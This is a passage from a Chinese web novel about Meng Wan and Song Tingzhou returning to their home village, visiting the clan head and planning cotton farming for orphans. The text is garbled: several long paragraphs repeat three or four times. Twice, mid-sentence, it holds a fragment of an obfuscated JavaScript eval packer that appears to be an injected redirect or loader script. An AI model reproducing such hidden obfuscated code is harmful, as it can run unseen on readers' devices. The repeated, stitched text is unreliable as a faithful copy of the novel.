也不是说就一成不变了,只是孟晚离开的话,暂时这么安排最好。秀才的社会地位高,义学又经历过之前张管事的事,旁人轻易不敢过来找事。 两日后叫宋亭岳的秀才便走马上任,孟晚一行人也启程返乡,义学的孩子半是不舍,半是惶恐忐忑,怕遇到下一个张管事。 “你们境地不好,没摊上个好爹娘,却又算幸运,还好胳膊好腿的活着。为了自己活着,便不能光靠别人施舍,若有一日义学没了,或是再来一个张管事,你们离了这里也有养活自己的本事。” 孟晚站在义学门口,对这群尚且懵懂的孩子说:“好好学吧,好好长大。” 他钻进车里,外面苏奕大喊:“孟夫郎,我会好好照顾他们的!” 孟晚对着宋亭舟一笑,“这小子还不错。” “晚儿说的这一番话也字字入心。”宋亭舟淡定的夸自家夫郎,手下给他揉捏后腰的位置。 “宋大人,你怎么不去外头骑马?我还想和晚哥儿说说话呢!”方锦容在后头的马车上大喊。 孟晚从车窗探出去对他说:“外头那么晒骑马不是要热坏了?往后你们在京,咱们有的是机会聊,不差这一会儿。” 后面赶车的葛老头一扬鞭子,“晚哥儿说的倒也没错。” 夏天马车的车窗都是薄 薄一层的纱帘,孟晚刚放下来,琢磨了一下又对葛老头说:“葛师父,阿砚也在方家住着呢,你回去不然也看着教他两招吧?” 葛老头提起手边的酒壶砸吧了一口,“成是成,就看你舍不舍得了。” 想起多年前小小的通儿雨天泡冷水,孟晚眼角抽动了一下,“倒也……倒也不用太过苛刻,随便会两手防身即可。” 葛全看出他心中担忧,从马上开口,“你放心,我亲自调教他们。” 宋亭舟和孟晚同他告了谢。 葛全飒然一笑,“通儿这些年和我们聚少离多,多亏了你们照顾,何必见外?” 两家也算是共患难了,确实不用说太多客气话。 孟晚就是见不得阿砚一天到头抱着娃娃,他小时候也是喜欢各种汽车和玩具枪的,不知道到他这儿怎么就变异了。 车马行到县城门外的时候,后知后觉的韩秀才带着杨宝儿候在城门外的偏僻处,见宋家的马车出来,才拽着杨宝儿凑上去,“宋大人,学生无状,却不是真的有意冒犯孟夫郎的,还请大人宽宥,再给学生一次自赎之机!” 陶十一骑马在最前面带路,他扬了扬手上的鞭子,厉声喝道:“让开!” 离京前拦宋亭舟马车的大大小小官员不计其数,早知现在,何必当初?他看不上这样的人,语气也不好。 他一甩鞭子韩秀才就怕了,但为了仕途,硬是凑到跟前,见四下没有多少人进出城,咬咬牙对着马车喊道:“学生知道大人与我夫郎有些旧情,不如让他随大人回乡叙叙旧?” 一个已经成了婚的小哥儿和前未婚夫回乡,这话就是要将杨宝儿给宋亭舟做人情的意思了,杨宝儿难以置信的盯着他的背影,简直不敢相信自己的耳朵听到的话。 马车没停,擦着两人的便过去,车厢里头扔出个桃子来,重重的砸到了韩秀才头上。 将两人甩到了身后,孟晚还是气不打一处来,“什么禽兽不如的东西。” 宋亭舟重新递给他一个洗好的桃子,用力掰成两半,“不必因为这样的人生气,此生他都不可能再入仕,若是不事生产,连县城也住不久。” 孟晚拿着桃子啃,“那倒也是,看着也不是什么顾家的。” 有宋亭舟在身边,孟晚什么都不用多想,清清静静的走了两天,到镇上与葛全一家分开,也没去看阿砚,直 接回了三泉村。 家里的大门敞开着,常金花在门洞下头纳凉,看见打头的是陶十一和陶十,知道宋亭舟也回来了,大喜过望。 “娘,我回来了。”宋亭舟接住跳下车的孟晚,上前同常金花说道。 孟晚问常金花,“娘,我不在这些日子,家里没什么事吧?” 常金花眉眼含笑,一个个的答话,“回来就好,娘都好着呢,你六婶也不去镇上了,见天在家跟我说话,你二叔嬷还带我上山采蘑菇。” 孟晚进院一瞧,他家院里果然晒了四个大簸箕的蘑菇,有的都快干透了,有的只是微微打蔫,“娘,你这是采了多少啊!” 下人们出来见礼,云雀说:“夫郎,我们都和老夫人去啦,老夫人说要采了晒干,等冬天天冷了包包子吃。” 枝繁和枝茂凑到一块小声说话,告诉他在县城的趣闻,黄叶出来张罗着收拾孟晚带回来的行李。 他和宋亭舟的被褥被拿出来晒着,晚上睡觉好铺。 常金花从屋里拿了一贯钱出来,“你们快好好歇歇,娘去隔壁村看看屠夫家还有没有剩肉,不行就去镇子上买,晚上娘给你们包蘑菇肉馅的饺子。” 她带着苇莺云雀去卖肉,孟晚忙回屋洗了个澡,净去一身暑气坐在门洞下头纳凉吃西瓜,“啊!这才是人过得日子。” 回家就有妈妈给张罗饭菜,再也没有比这个更幸福的了。 宋亭舟也搬了个凳子坐在他身边,“想在老家待多久?” 孟晚递给他一块西瓜,“这不是看你嘛?乡下再好,不在你身边也是无趣。” 接过西瓜,宋亭舟视线停顿在孟晚脸上,目光晦暗不明,“晚儿……”不知还能怎么表达快溢满胸腔的爱意,左右他没有孟晚能说会道。 孟晚不知道自己一句话便可轻易牵动宋亭舟的情绪,他跑去井边洗了手脸回来,“好了,说正经的,我想在村里请人开几亩荒地。” 因为当初经历过岭南的事,孟晚不想占地太多,家里的地不够种就租旁人的地好了。现代社会的时候,农村每人都有田地,而且不能轻易买卖,这是国家给农民的保障,保证每人都能好好活下去。 可惜禹国没有这个政策,连摊丁入亩都还没完全普及全国,都要慢慢来。 宋亭舟一直都很支持孟晚的事业,闻言点点头,“那我找村长问问哪里适合开采。” 孟晚盯着他吃瓜,“你不问问我要开荒地做什么呀?” 这瓜熟度正好,又在井水里镇得冰凉,宋亭舟吃完又拿了一块,“是要给义学用?” 孟晚笑弯了眼,“还是你懂我,四处种些棉花,带这群小孩挣些小钱。” 接回了三泉村。 家里的大门敞开着,常金花在门洞下头纳凉,看见打头的是陶十一和陶十,知道宋亭舟也回来了,大喜过望。 “娘,我回来了。”宋亭舟接住跳下车的孟晚,上前同常金花说道。 孟晚问常金花,“娘,我不在这些日子,家里没什么事吧?” 常金花眉眼含笑,一个个的答话,“回来就好,娘都好着呢,你六婶也不去镇上了,见天在家跟我说话,你二叔嬷还带我上山采蘑菇。” 孟晚进院一瞧,他家院里果然晒了四个大簸箕的蘑菇,有的都快干透了,有的只是微微打蔫,“娘,你这是采了多少啊!” 下人们出来见礼,云雀说:“夫郎,我们都和老夫人去啦,老夫人说要采了晒干,等冬天天冷了包包子吃。” 枝繁和枝茂凑到一块小声说话,告诉他在县城的趣闻,黄叶出来张罗着收拾孟晚带回来的行李。 他和宋亭舟的被褥被拿出来晒着,晚上睡觉好铺。 常金花从屋里拿了一贯钱出来,“你们快好好歇歇,娘去隔壁村看看屠夫家还有没有剩肉,不行就去镇子上买,晚上娘给你们包蘑菇肉馅的饺子。” 她带着苇莺云雀去卖肉,孟晚忙回屋洗了个澡,净去一身暑气坐在门洞下头纳凉吃西瓜,“啊!这才是人过得日子。” 回家就有妈妈给张罗饭菜,再也没有比这个更幸福的了。 宋亭舟也搬了个凳子坐在他身边,“想在老家待多久?” 孟晚递给他一块西瓜,“这不是看你嘛?乡下再好,不在你身边也是无趣。” 接过西瓜,宋亭舟视线停顿在孟晚脸上,目光晦暗不明,“晚儿……”不知还能怎么表达快溢满胸腔的爱意,左右他没有孟晚能说会道。 孟晚不知道自己一句话便可轻易牵动宋亭舟的情绪,他跑去井边洗了手脸回来,“好了,说正经的,我想在村里请人开几亩荒地。” 因为当初经历过岭南的事,孟晚不想占地太多,家里的地不够种就租旁人的地好了。现代社会的时候,农村每人都有田地,而且不能轻易买卖,这是国家给农民的保障,保证每人都能好好活下去。 可惜禹国没有这个政策,连摊丁入亩都还没完全普及全国,都要慢慢来。 宋亭舟一直都很支持孟晚的事业,闻言点点头,“那我找村长问问哪里适合开采。” 孟晚盯着他吃瓜,“你不问问我要开荒地做什么呀?” 这瓜熟度正好,又在井水里镇得冰凉,宋亭舟吃完又拿了一块,“是要给义学用?” 孟晚笑弯了眼,“还是你懂我,四处种些棉花,带这群小孩挣些小钱。” 接回了三泉村。 家里的大门敞开着,常金花在门洞下头纳凉,看见打头的是陶十一和陶十,知道宋亭舟也回来了,大喜过望。 “娘,我回来了。”宋亭舟接住跳下车的孟晚,上前同常金花说道。 孟晚问常金花,“娘,我不在这些日子,家里没什么事吧?” 常金花眉眼含笑,一个个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这瓜熟度正好,又在井水里镇得冰凉,宋亭舟吃完又拿了一块,“是要给义学用?” 孟晚笑弯了眼,“还是你懂我,四处种些棉花,带这群小孩挣些小钱。” 接回了三泉村。 家里的大门敞开着,常金花在门洞下头纳凉,看见打头的是陶十一和陶十,知道宋亭舟也回来了,大喜过望。 “娘,我回来了。”宋亭舟接住跳下车的孟晚,上前同常金花说道。 孟晚问常金花,“娘,我不在这些日子,家里没什么事吧?” 常金花眉眼含笑,一个个的答话,“回来就好,娘都好着呢,你六婶也不去镇上了,见天在家跟我说话,你二叔嬷还带我上山采蘑菇。” 孟晚进院一瞧,他家院里果然晒了四个大簸箕的蘑菇,有的都快干透了,有的只是微微打蔫,“娘,你这是采了多少啊!” 下人们出来见礼,云雀说:“夫郎,我们都和老夫人去啦,老夫人说要采了晒干,等冬天天冷了包包子吃。” 枝繁和枝茂凑到一块小声说话,告诉他在县城的趣闻,黄叶出来张罗着收拾孟晚带回来的行李。 他和宋亭舟的被褥被拿出来晒着,晚上睡觉好铺。 常金花从屋里拿了一贯钱出来,“你们快好好歇歇,娘去隔壁村看看屠夫家还有没有剩肉,不行就去镇子上买,晚上娘给你们包蘑菇肉馅的饺子。” 她带着苇莺云雀去卖肉,孟晚忙回屋洗了个澡,净去一身暑气坐在门洞下头纳凉吃西瓜,“啊!这才是人过得日子。” 回家就有妈妈给张罗饭菜,再也没有比这个更幸福的了。 宋亭舟也搬了个凳子坐在他身边,“想在老家待多久?” 孟晚递给他一块西瓜,“这不是看你嘛?乡下再好,不在你身边也是无趣。” 接过西瓜,宋亭舟视线停顿在孟晚脸上,目光晦暗不明,“晚儿……”不知还能怎么表达快溢满胸腔的爱意,左右他没有孟晚能说会道。 孟晚不知道自己一句话便可轻易牵动宋亭舟的情绪,他跑去井边洗了手脸回来,“好了,说正经的,我想在村里请人开几亩荒地。” 因为当初经历过岭南的事,孟晚不想占地太多,家里的地不够种就租旁人的地好了。现代社会的时候,农村每人都有田地,而且不能轻易买卖,这是国家给农民的保障,保证每人都能好好活下去。 可惜禹国没有这个政策,连摊丁入亩都还没完全普及全国,都要慢慢来。 宋亭舟一直都很支持孟晚的事业,闻言点点头,“那我找村长问问哪里适合开采。” 孟晚盯着他吃瓜,“你不问问我要开荒地做什么呀?” 这瓜熟度正好,又在井水里镇得冰凉,宋亭舟吃完又拿了一块,“是要给义学用?” 孟晚笑弯了眼,“还是你懂我,四处种些棉花,带这群小孩挣些小钱。” 接回了三泉村。 家里的大门敞开着,常金花在门洞下头纳凉,看见打头的是陶十一和陶十,知道宋亭舟也回来了,大喜过望。 “娘,我回来了。”宋亭舟接住跳下车的孟晚,上前同常金花说道。 孟晚问常金花,“娘,我不在这些日子,家里没什么事吧?” 常金花眉眼含笑,一个个的答话,“回来就好,娘都好着呢,你六婶也不去镇上了,见天在家跟我说话,你二叔嬷还带我上山采蘑菇。” 孟晚进院一瞧,他家院里果然晒了四个大簸箕的蘑菇,有的都快干透了,有的只是微微打蔫,“娘,你这是采了多少啊!” 下人们出来见礼,云雀说:“夫郎,我们都和老夫人去啦,老夫人说要采了晒干,等冬天天冷了包包子吃。” 枝繁和枝茂凑到一块小声说话,告诉他在县城的趣闻,黄叶出来张罗着收拾孟晚带回来的行李。 他和宋亭舟的被褥被拿出来晒着,晚上睡觉好铺。 常金花从屋里拿了一贯钱出来,“你们快好好歇歇,娘去隔壁村看看屠夫家还有没有剩肉,不行就去镇子上买,晚上娘给你们包蘑菇肉馅的饺子。” 她带着苇莺云雀去卖肉,孟晚忙回屋洗了个澡,净去一身暑气坐在门洞下头纳凉吃西瓜,“啊!这才是人过得日子。” 回家就有妈妈给张罗饭菜,再也没有比这个更幸福的了。 宋亭舟也搬了个凳子坐在他身边,“想在老家待多久?” 孟晚递给他一块西瓜,“这不是看你嘛?乡下再好,不在你身边也是无趣。” 接过西瓜,宋亭舟视线停顿在孟晚脸上,目光晦暗不明,“晚儿……”不知还能怎么表达快溢满胸腔的爱意,左右他没有孟晚能说会道。 孟晚不知道自己一句话便可轻易牵动宋亭舟的情绪,他跑去井边洗了手脸回来,“好了,说正经的,我想在村里请人开几亩荒地。” 因为当初经历过岭南的事,孟晚不想占地太多,家里的地不够种就租旁人的地好了。现代社会的时候,农村每人都有田地,而且不能轻易买卖,这是国家给农民的保障,保证每人都能好好活下去。 可惜禹国没有这个政策,连摊丁入亩都还没完全普及全国,都要慢慢来。 宋亭舟一直都很支持孟晚的事业,闻言点点头,“那我找村长问问哪里适合开采。” 孟晚盯着他吃瓜,“你不问问我要开荒地做什么呀?” 这瓜熟度正好,又在井水里镇得冰凉,宋亭舟吃完又拿了一块,“是要给义学用?” 孟晚笑弯了眼,“还是你懂我,四处种些棉花,带这群小孩挣些小钱。” 第61章 还乡 百姓永远离不开田地,特别是当下禹国许多工业并不发达,各行各业都与田里的作物息息相关。 孟晚的义学不可能说培养就培养出来一大批的能人,她们只是普通孩童,能吃饱穿暖,有一份收入已经很好了。 “种棉花?”宋亭舟意外道。 孟晚挨着他坐,掰着手指跟他数,“也只是我的一个初步想法,棉花这种东西家家户户必不可少,大了可以做被褥,小了你看小蛾给阿砚通儿做的棉花娃娃。没有娟人精细,但复杂些的娟人要匠人做上一个月才成一个,多费功夫。棉花娃娃完全可以平替掉娟人,一天一人起码能做出来十几个吧?等手法娴熟,会做的更快,我先保守估计一二。” 贵有贵的道理,便宜有便宜的好处。 普通人家的孩子哪有娃娃玩?都是家里心疼孩子的祖母给缝的布老虎,可以从儿时一直玩到大。 “你做的比我好,若需要当地官员配合,我给他们写信。”宋亭舟看着他的目光都是钦佩,发自内心的。 “暂时还不需要,我也只是大致的想法,想给那些孩子找些活计。”孟晚想到前世有一阵子学校包分配,觉得自己也在给孩子们提供岗位,想着想着就笑了起来。 日光正盛,眼前人随口说出的话,就是要安顿上百上千的乞儿。这一刻,宋亭舟觉得孟晚身上的光比烈日还要夺目。 常金花回来不光买了五花肉做饺子馅,还给孟晚买了排骨,今天没叫别人,一家三口外加个同孟晚一起回来的雨哥儿单独吃了顿饭。 孟晚不挑食,但常金花做的他格外爱吃,吃了七八个大蒸饺,加上两块红烧排骨,几筷子的凉拌的野菜,吃了个肚儿圆。 他吃完了就在旁边一边和常金花说话一边等宋亭舟,“娘,宋家这边不是出了两个秀才吗?有空你带雨哥儿走动走动吧。”一个在县城里雨哥儿已经见过了,还算较为稳重,但是长相过于着急,个子也有点矮,比孟晚还矮了半个头。 “不用先问问你……舅母家里?”常金花有些不愿意提及常舅舅,虽然是亲弟弟,但这些年下来,对方显然没将她当亲姐姐,为了那点银子连老娘过世都敢隐瞒,奔着让她背上不孝的名声。 宋亭舟放下筷子,“娘,舅舅一家犯了事,如今只剩雨哥儿和弟妹了。” “什么?”常金花震惊不已。 孟晚不大 想在饭桌子上说这事,见宋亭舟吃完了,“娘,这些事还是让雨哥儿自己说你你听吧,我和夫君出去转一圈。” 雨哥儿低着头,“大姑……” 孟晚拉着宋亭舟出门,嘟囔着他,“你也太直白了,娘前些时日刚病了一场,我本来想慢慢告诉她的。” 宋亭舟叫黄叶取了两个药包给他,一个自己挂上,一个帮孟晚系在腰间,“娘没有那么柔弱,对舅舅的感情也没有多深厚,无碍的。” 药包是楚辞做得,夏天驱蚊最好,当初他们还在赫山的时候,出门上山必备。 哪怕孟晚依旧担心常金花为亲人入狱的消息忧心,也没有再同宋亭舟争辩,两人相处,不是非要辩个你胜我败的,他们都是为常金花好。 宋家离村口近,两边地里的庄碧青,长势喜人,有勤快的人家将地里的野草拔得一干二净,也有懒惰的汉子不收拾地里,野草长得比庄稼还高,庄稼都被欺压的又细又短。 “那是谁家的地?”孟晚指过去。 宋亭舟也多年未回乡了,不过三泉村的变化其实不太大,所以还认得,“是亭岳家的,他家人都在县城,春天耕地,秋天回来收粮。” “竟然没人帮秀才相公家除除草吗?”孟晚调侃了一句。 宋亭舟捏了捏他手心的软肉,“原来你竟然也有糊涂的时候,与人情一道你不是向来看得很透彻吗?” “嗯?”孟晚抬眸对上宋亭舟的双眼后恍然大悟,“他家在村里人缘不好?” “宋六婶家日子过得也好了,还在镇上又买了一套宅子,在乡里却比亭岳家人情走动的好。亭岳家以前穷,靠你留在族里的那笔钱帮衬着,他人又格外努力上进,于读书一道有些天分,成了秀才自然就和普通人家不一样了。”宋亭舟这些年在官场沉浮,也是见多了人性复杂的一面。 大家穷便一起穷,像宋亭舟是三泉村头一份考出去的秀才,大家心里羡慕,却没有多想,宋六婶家富,也是小富,宋六婶又会做人,回来时长给亲戚们拿点东西,众人得了“利”又是一种心思。 后来族学真的又教出了两个秀才相公和童生,旁人再看就不对味了,凭什么他家那么穷,往年还靠大伙给几个鸡蛋过活,就突然一下子和他们地里刨食的不一样了? 就亭岳那样的木头旮沓能考上秀才? 后悔没让自家孩子读的,觉得自 己儿子比宋亭岳聪明多了,后悔的捶胸顿足,又抹不开面子告诉别人,只能暗自咬牙。 不光宋亭岳,那个童生的家里也有人酸,另一户秀才在族里人丁兴旺,婶子嫂子的厉害着的,便没有人敢上跟前说三道四。 孟晚沉默了一会儿,“族学定要好好整顿一番,宋家的规矩也要立起来。” 他曾经对世家大族那么些陈规旧令嗤之以鼻,如今看来,除了一些规矩确实不合理且泯灭人性外,其余的也不无道理。 大家绑在一条绳子上,一荣俱荣,一损那可是真的灭族,不是玩笑话。 孟晚这辈子活的好好的,爱人、老娘、孩子、朋友、事业应有尽有,他不像罗霁宁临死前还会幻想自己能回到现代,没有宋亭舟,哪里他都不想去。 攥着宋亭舟的手不自觉地紧了紧,宋亭舟立即感受到他不安的情绪,将他拉过来环抱在怀里,“这次我回来一是回乡祭祖,在爹的坟前上上香,添添土,二就是为了约束族人。” 孟晚在他怀里蹭了蹭,把鼻尖的细汗都蹭到了宋亭舟衣领处,“那就好,宋亭舟,我还等着和他白头偕老。” 所以你要保证我们都能好好活着。 宋亭舟嗅到孟晚法间香皂的清香味道,心底软成一片,“嗯,我们定能……相伴白头。” 俩人手牵着手回去,快到家门口的时候碰到同样吃过晚饭出来纳凉的村民也没松开,宋亭舟神色如常,该叫人叫人,没端着做大官的架子,却也没有太亲厚。 虽说他从前都是这样,但如今更让人觉出距离感来。村民们不光当面拘束着笑,背后都不敢议论宋亭舟什么。 回了家孟晚先去看常金花,见对方虽然脸色不好,眼角倒也没有残存的泪痕,还是宋亭舟更了解他母亲,常金花心虽然软,却透着一股不被风雨压垮的韧劲。 知道孟晚担心,她叹了口气道:“这也是他自己作孽,怨天怨地也怨不得旁人,就是可怜大顺媳妇儿,年纪轻轻的就要……” 孟晚坐在炕沿边上,随手拿起炕上的蒲扇扇凉,“也不见得就将人打**,大顺到底年轻,若是能挨得住刑罚,便准备好郎中,上路前打点打点,熬上几年也就回来了。” 宋亭舟站在他身边,“晚儿说的不错,娘你不必忧心。” “大姑,你别操心了,这都是他们的命。”雨哥儿眼睛红肿着,说起 话来也瓮声瓮气的,可见刚才哭过一场。 常金花看他可怜,又想起来孟晚饭桌子上提起的事,“你早点歇着,等明天我到村里打听打听去。” 打听什么,不用直说也不言而喻。 第二天一早,孟晚起来的时候家里只剩几个仆人,常金花和宋亭舟都不在家。常金花可能是打听村里那户秀才家里的事了,宋亭舟则去给他爹上坟。 “夫郎,你要不要兑热水洗漱?”枝繁在井边洗衣,顺便问他。 这会儿太阳早就升起来了,孟晚提着他洗漱的小篮子,“不用,夏天还用什么热水,早上吃什么啊?” 枝繁枝茂等在一旁都笑了,黄叶说:“夫郎,都快晌午了,你垫上一口,我娘正准备晌午饭呢。” 孟晚刷着牙,把水杯端起来示意可以。 宋亭舟先从外头回来,陶八和陶十一跟在他后面,三人一人提着一把铁锹。山路不好走,清早还满是露珠,宋亭舟提了桶水进屋冲洗一番,又重新换了身衣裳出来。 “可是饿了?” 他出来的时候,孟晚正拿着个李子啃,被酸的脸都皱成一团,形象生动,宋亭舟觉得可爱。 “嘶……”孟晚被酸到说不出话来,大夏天的,他不想吃糕点之类的东西,就想吃水果,结果还中招了,早知道吃桃子好了。 宋亭舟端了杯凉茶递给他,“要不要随我去族长家里坐坐?一会儿就回来。” “走啊,吃饭前回来。”孟晚进屋拿了把常金花在集市上买的蒲扇。 枝繁问了句,“夫郎,要不要我们跟着。” 宋亭舟拽起孟晚,拉着他往外走,头也不回的替孟晚回道:“不用。” 等主子离开,枝茂笑着戳了下枝繁额头,“有大人在呢,用咱们跟着?” 枝繁把洗干净的衣裳挂起来,略微不好意思的回道:“也是。” —— 三泉村的村长前些年过世了,这东西也没有**这么一说,谁有威望谁来,宋家的族长便兼了村长一职。 族长住在村子最里面,孟晚刚回来的时候就给拎了东西上门,什么茶、糖、布、酒老四大件,所以这会儿他和宋亭舟空着手也不算失礼。 “亭舟……不,宋大人。”族长一把年纪了,搓着手比从前还局促不少,他知道宋亭舟 现在是京城里的大官了,比以前还要了不得。 孟晚笑着说:“二伯爷也太客气了,我们都是晚辈,您该怎么叫就怎么叫。” 听着孟晚说的漂亮话,族长一个劲儿的点头,“欸,快别在门口站着了,亭舟啊,带着你夫郎进屋坐。” 宋亭舟上门是大事,族长的几个儿子儿媳都跟进了屋,热情的招呼宋亭舟和孟晚,宋亭舟这些年身上威严愈盛,他们不敢主动搭话,便都和更温柔和善的孟晚聊天。 “晚哥儿,这有果子,你尝尝?” 孟晚推拒道:“谢谢三嫂,刚在家吃了不少西瓜,这会儿什么也吃不下了。” 又有人问:“孩子怎么没带过来玩一会儿?” “就是,晚哥儿,我见着你家阿砚和杏哥儿玩了,长得和你是一模一样的,真俊啊,长大了还不得迷倒一片的哥儿女娘?”其他人附和道。 “我有好友家在镇上,阿砚去住几日便回来。” 孟晚和他们寒暄了几句,宋亭舟见他身边围了这么多人,便站到他一侧捏着他的手,沉声开口打断了一屋子嘈杂的声音,“二伯爷,明天一早大家若是有空,我想召集宋氏一族的族人,和大家聊聊族规的事。” 二伯爷耳朵有些背,他几个儿子却听得分明。 “亭舟啊,你放心,今晚我们就把消息通知下去,明早你只管过来,保证大家伙都等着听你说话。”二伯爷的大儿子说道。 宋亭舟手上微微用力拉住孟晚,“既如此我们就先回去了。” 孟晚顺着宋亭舟的力道起身,两人没坐多久,谈好了事就回家,同宋亭舟说的那样,只是带他出来走走。 从族长家出来,又是浩浩荡荡一大群人要送,宋亭舟婉拒了,俩人前脚刚到家门口,后脚常金花带着雨哥儿也回来了。 “你俩这是去哪儿了?”常金花问。 今天太阳不大,但是闷热的厉害,孟晚接过宋亭舟给他倒得凉茶喝了一大口,勉强压下燥意,“去族长家一趟,你和雨哥儿怎么这么晚才回来?” 常金花也让儿子给自己倒一碗,“那家子也忒能说会道,我不过是稍稍打听了几句,就拉着雨哥儿不让走了,我好说歹说才放了手。” 雨哥儿坐在门洞下的凳子上,孟晚目光瞥过去,果然见他在揉捏着自己手腕,乡下妇人手劲儿都大,雨哥儿手腕被勒红了一圈。 他皱起眉,“是那个叫宋志家里人?” 门洞下放着张四方矮桌,枝繁给大家又添了新茶,雨哥儿道了声谢,回孟晚道:“不是,大姑先带我去宋志姑母家坐了坐。” 常金花嘱咐槿姑一会儿就将饭摆到门口来,他们在外头吃,然后对孟晚和宋亭舟说道:“娘又不傻,能直接带雨哥儿直接到那秀才家去?是想着去他亲戚家提上几嘴,问问家境,没成想还被她给缠上了。” 现在是京城里的大官了,比以前还要了不得。 孟晚笑着说:“二伯爷也太客气了,我们都是晚辈,您该怎么叫就怎么叫。” 听着孟晚说的漂亮话,族长一个劲儿的点头,“欸,快别在门口站着了,亭舟啊,带着你夫郎进屋坐。” 宋亭舟上门是大事,族长的几个儿子儿媳都跟进了屋,热情的招呼宋亭舟和孟晚,宋亭舟这些年身上威严愈盛,他们不敢主动搭话,便都和更温柔和善的孟晚聊天。 “晚哥儿,这有果子,你尝尝?” 孟晚推拒道:“谢谢三嫂,刚在家吃了不少西瓜,这会儿什么也吃不下了。” 又有人问:“孩子怎么没带过来玩一会儿?” “就是,晚哥儿,我见着你家阿砚和杏哥儿玩了,长得和你是一模一样的,真俊啊,长大了还不得迷倒一片的哥儿女娘?”其他人附和道。 “我有好友家在镇上,阿砚去住几日便回来。” 孟晚和他们寒暄了几句,宋亭舟见他身边围了这么多人,便站到他一侧捏着他的手,沉声开口打断了一屋子嘈杂的声音,“二伯爷,明天一早大家若是有空,我想召集宋氏一族的族人,和大家聊聊族规的事。” 二伯爷耳朵有些背,他几个儿子却听得分明。 “亭舟啊,你放心,今晚我们就把消息通知下去,明早你只管过来,保证大家伙都等着听你说话。”二伯爷的大儿子说道。 宋亭舟手上微微用力拉住孟晚,“既如此我们就先回去了。” 孟晚顺着宋亭舟的力道起身,两人没坐多久,谈好了事就回家,同宋亭舟说的那样,只是带他出来走走。 从族长家出来,又是浩浩荡荡一大群人要送,宋亭舟婉拒了,俩人前脚刚到家门口,后脚常金花带着雨哥儿也回来了。 “你俩这是去哪儿了?”常金花问。 今天太阳不大,但是闷热的厉害,孟晚接过宋亭舟给他倒得凉茶喝了一大口,勉强压下燥意,“去族长家一趟,你和雨哥儿怎么这么晚才回来?” 常金花也让儿子给自己倒一碗,“那家子也忒能说会道,我不过是稍稍打听了几句,就拉着雨哥儿不让走了,我好说歹说才放了手。” 雨哥儿坐在门洞下的凳子上,孟晚目光瞥过去,果然见他在揉捏着自己手腕,乡下妇人手劲儿都大,雨哥儿手腕被勒红了一圈。 他皱起眉,“是那个叫宋志家里人?” 门洞下放着张四方矮桌,枝繁给大家又添了新茶,雨哥儿道了声谢,回孟晚道:“不是,大姑先带我去宋志姑母家坐了坐。” 常金花嘱咐槿姑一会儿就将饭摆到门口来,他们在外头吃,然后对孟晚和宋亭舟说道:“娘又不傻,能直接带雨哥儿直接到那秀才家去?是想着去他亲戚家提上几嘴,问问家境,没成想还被她给缠上了。” 现在是京城里的大官了,比以前还要了不得。 孟晚笑着说:“二伯爷也太客气了,我们都是晚辈,您该怎么叫就怎么叫。” 听着孟晚说的漂亮话,族长一个劲儿的点头,“欸,快别在门口站着了,亭舟啊,带着你夫郎进屋坐。” 宋亭舟上门是大事,族长的几个儿子儿媳都跟进了屋,热情的招呼宋亭舟和孟晚,宋亭舟这些年身上威严愈盛,他们不敢主动搭话,便都和更温柔和善的孟晚聊天。 “晚哥儿,这有果子,你尝尝?” 孟晚推拒道:“谢谢三嫂,刚在家吃了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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常金花嘱咐槿姑一会儿就将饭摆到门口来,他们在外头吃,然后对孟晚和宋亭舟说道:“娘又不傻,能直接带雨哥儿直接到那秀才家去?是想着去他亲戚家提上几嘴,问问家境,没成想还被她给缠上了。” 现在是京城里的大官了,比以前还要了不得。 孟晚笑着说:“二伯爷也太客气了,我们都是晚辈,您该怎么叫就怎么叫。” 听着孟晚说的漂亮话,族长一个劲儿的点头,“欸,快别在门口站着了,亭舟啊,带着你夫郎进屋坐。” 宋亭舟上门是大事,族长的几个儿子儿媳都跟进了屋,热情的招呼宋亭舟和孟晚,宋亭舟这些年身上威严愈盛,他们不敢主动搭话,便都和更温柔和善的孟晚聊天。 “晚哥儿,这有果子,你尝尝?” 孟晚推拒道:“谢谢三嫂,刚在家吃了不少西瓜,这会儿什么也吃不下了。” 又有人问:“孩子怎么没带过来玩一会儿?” “就是,晚哥儿,我见着你家阿砚和杏哥儿玩了,长得和你是一模一样的,真俊啊,长大了还不得迷倒一片的哥儿女娘?”其他人附和道。 “我有好友家在镇上,阿砚去住几日便回来。” 孟晚和他们寒暄了几句,宋亭舟见他身边围了这么多人,便站到他一侧捏着他的手,沉声开口打断了一屋子嘈杂的声音,“二伯爷,明天一早大家若是有空,我想召集宋氏一族的族人,和大家聊聊族规的事。” 二伯爷耳朵有些背,他几个儿子却听得分明。 “亭舟啊,你放心,今晚我们就把消息通知下去,明早你只管过来,保证大家伙都等着听你说话。”二伯爷的大儿子说道。 宋亭舟手上微微用力拉住孟晚,“既如此我们就先回去了。” 孟晚顺着宋亭舟的力道起身,两人没坐多久,谈好了事就回家,同宋亭舟说的那样,只是带他出来走走。 从族长家出来,又是浩浩荡荡一大群人要送,宋亭舟婉拒了,俩人前脚刚到家门口,后脚常金花带着雨哥儿也回来了。 “你俩这是去哪儿了?”常金花问。 今天太阳不大,但是闷热的厉害,孟晚接过宋亭舟给他倒得凉茶喝了一大口,勉强压下燥意,“去族长家一趟,你和雨哥儿怎么这么晚才回来?” 常金花也让儿子给自己倒一碗,“那家子也忒能说会道,我不过是稍稍打听了几句,就拉着雨哥儿不让走了,我好说歹说才放了手。” 雨哥儿坐在门洞下的凳子上,孟晚目光瞥过去,果然见他在揉捏着自己手腕,乡下妇人手劲儿都大,雨哥儿手腕被勒红了一圈。 他皱起眉,“是那个叫宋志家里人?” 门洞下放着张四方矮桌,枝繁给大家又添了新茶,雨哥儿道了声谢,回孟晚道:“不是,大姑先带我去宋志姑母家坐了坐。” 